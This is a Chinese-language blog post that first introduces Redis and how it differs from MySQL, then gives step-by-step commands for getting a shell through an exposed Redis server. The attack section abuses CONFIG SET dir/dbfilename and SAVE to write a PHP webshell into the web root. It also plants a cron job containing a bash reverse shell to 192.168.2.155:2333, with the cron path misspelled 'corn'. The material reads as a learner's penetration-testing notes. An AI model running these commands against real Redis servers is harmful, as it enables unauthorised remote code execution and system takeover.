初步認識redis和redis獲取webshell方法

什麼是redis

一個免費、開源的Key-Value數據庫。(MySQL是關係型數據庫)

redis和mysql的區別

  1. mysql可以通過where等sql語句來查詢想要的數據,而redis並不關係存儲的數據類型,只能通過key來尋找value,也就是說Key-Value需要通過遍歷所有的key才能找到想要的value。
  2. mysql的存儲更加傾向於作爲一個表,而redis則是鍵值對。

放一張其他地方看到的圖,會更加容易理解:
關係型數據庫
上面是關係型數據庫,下面是Key-Value型數據庫
在這裏插入圖片描述
一般來說:
mysql用於持久化的存儲數據到硬盤,功能強大,但是速度較慢。
redis用於存儲使用較爲頻繁的數據到緩存中,讀取速度快。

redis的一些常規操作

首先利用apt-get install redis-server在linux下安裝好redis,然後在命令行輸入redis-cli即可進入redis服務器。
redis一般是6379端口。
redis安裝完成以後有自己的命令行,也就是redis-cli,其中包含的命令可以在http://redis.io/commands 進行查閱。
redis通過set來設置key和value,利用get來通過key查詢value。

redis如何getshell

由於redis存儲的文件是二進制,且可以被執行用來存儲數據的文件和路徑可以被用戶通過命令更改,所以可以被利用進行getshell。

  1. 先來最簡單的:
    利用redis的配置dbfilename和dir用來任意文件寫入,再用save命令將文件寫入到硬盤。
config set dir /var/www/html/
config set dbfilename redis.php
set webshell "<?php phpinfo();?>"
save

效果如圖:
在這裏插入圖片描述
2. 反彈shell(ubuntu顯示Failed opening the RDB file root (in server root dir /var/spool/cron) for saving: Permission denied錯誤):

config set dir /var/spool/corn/
config set dbfilename root
set x "\n* * * * * bash -i >& /dev/tcp/192.168.2.155/2333 0>&1\n"
save
  1. 利用ssh連接,這個我也沒太看明白,到時候再研究:
    在這裏插入圖片描述
    在這裏插入圖片描述

需要注意以下幾點:

  1. 前往官網下載,不要用apt-get install redis-server命令,不知道爲什麼,apt安裝的redis我不能正常save,但官網下載的可以正常啓動
  2. 官網下載的在啓動了redis之後,需要新開一個terminal利用redis-cli連接redis,但可以通過原來的terminal查看信息,效果如圖:
    在這裏插入圖片描述
    參考文章:https://www.leavesongs.com/PENETRATION/write-webshell-via-redis-server.html
    https://www.jianshu.com/p/33fd9eb90e98
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章